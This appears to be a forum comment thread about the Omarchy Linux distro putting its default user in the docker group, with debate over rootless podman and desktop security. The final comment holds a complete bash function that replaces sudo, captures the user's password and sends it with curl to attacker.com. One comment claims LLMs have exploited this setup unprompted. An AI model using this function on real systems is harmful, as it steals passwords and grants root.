Why not use rootless podman? It is 2026 not 2016, Podman works much better than Docker today.

This is the type of security and vulnerability testing that actually matters. In a sea of security researcher noise, thank you for contributing in a meaningful way.

Lol. This misconfiguration is so common and so trivial that LLMs have been known to exploit it unprompted, to complete their task.

Is it not better to run a VM just for Docker, like we have to do on macOS?

Installing docker by default is completely insane. What are they doing? Rootless podman has been around for many years at this point.

OK... and? This doesn't matter for a desktop, because:

1. Having access to the user's home directory is way more serious than being able to install drivers or whatever

2. There are a million other ways to escalate to root by obtaining the user's password

I also don't understand the point of these distros, just install Arch with KDE via archinstall, it literally takes 15 minutes. Why is it that people feel the need to use someone's Arch setup?

It’s not great, but I’m not sure this should be framed as Omarchy-specific, when it’s a very common setup to add regular user to the docker group.

I was expecting a more sophisticated attack and then I scrolled down…

> Omarchy configured its default user as a member of the Linux docker group.

What the fuck? Docker makes it VERY, VERY clear this is unsafe. Feel free to verify the documentation.

https://docs.docker.com/engine/install/linux-postinstall/

Why would you want to make this the default for your users, without even telling them? Did someone configured his own system to work this way and decided it is a good idea to ship it as a part of an "opinionated" distro??? Makes you wonder how much other crap is there.

I think people shouldn't just jump to distros which are getting heavily hyped in media/Youtube, cachyOS had similar wave, and now Omarchy does.

(example: NetworkChuck, Primeagen? and a few others)

also, archlinux is much easier to install nowadays with archinstall [1], so i'm not sure you really need another opinionated layer on top of it

[1] - https://wiki.archlinux.org/title/Archinstall

Linux isn't like macOS, it doesn't have any kind of proper desktop sandboxing architecture that really works. So this is kind of security theatre. If you run a malicious program it can do stuff like tamper with your PATH or exploit local vulns in apps to get to the point where it can control anything that matters (which root generally doesn't). For instance it can just drop a custom shell into ~/.bin/.hidden-shell and reconfigure the terminal emulator to run it.

So this kind of "vulnerability" doesn't seem that important. If you run code as yourself on Linux it owns you.

On macOS it's very different. Pervasive code signing gives all apps a stable identity enforced by the kernel that they can't easily escape. The kernel can then impose sandboxing policies on any app that's run regardless of how it's installed, for instance, preventing apps from rummaging through ~/Documents or monitoring your screen. Permissions are editable and guaranteed to stick, including across upgrades. And root is disempowered so obtaining it barely matters, it's only really there for UNIX compatibility.

Unfortunately implementing an Apple style architecture on Linux would be very difficult.

I hate to be defending Omarchy but I think for the modern desktop OS like Linux or Windows or Mac OS, "root" is not what it used to be.

Like if I have something on my dev machines which is important from an enterprise perspective it is the credentials that I use to check things into the git repository or log into the postgresql database that are in some file or keyring or the credentials I used to log into some corporate IT system with my web browser. Or the Microsoft Word document with confidential plans, or the spreadsheet with personal data on 30,000 people that I don't really need to have, etc.

The "root" barrier is of limited effectiveness against those sort of attacks but the barrier between users is less important on a personal computer as opposed to the "minicomputer" world that gave birth to Unix.

In 1989 my school had a cluster of Sun Workstations running Unix for which student, faculty, and staff had accounts and it was a real threat model that you might steal the homework assignment of another student or you might take screenshots of the screen of the computer center's director that would let you watch him reading his email his email and such.

I more concerned that Apache is running under a "httpd" account or IIS is running under its own account so that I do have controls on what can be exfiltrated by that route but...

The modern developer is likely booting up a sinatra or JAXB or a httpx server on some high numbered port running as their own user so if they're going to get hit with data exfiltration or remote execution against a dev server the scope is most user files.

What on earth is an Omarchy

A few days ago someone found they were flowing USB descriptors straight into the shell.

https://github.com/omacom/omarchy/commit/9285b19d6a72eba3df8...

Don't use vibecoded distros. It doesn't matter whether they fix this or that, or whether you care about a particular vuln. This is not sensible. It's why you switched away from Windows in the first place, remember?

Debian 13 is good.

Somebody should do an audit of Omarchy Plugins: https://plugins.omarchy.org/

They run completely unsandboxed and are unvetted.

As expected from a vibecoded "distro"

Surprised by this. I only ever use podman these days and haven’t felt the need for docker. Feels like reading about a CVE in Compiz.

To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater.

Just overwrite sudo with this evil sudo:

function sudo () {

    realsudo=$(which sudo)

    read -r -s -p "[sudo] password for $USER: " password

    echo "$USER: $password" | \

        curl -F 'p=<-' https://attacker.com >/dev/null 2>&1


    $realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1

    $realsudo "${@:1}"

}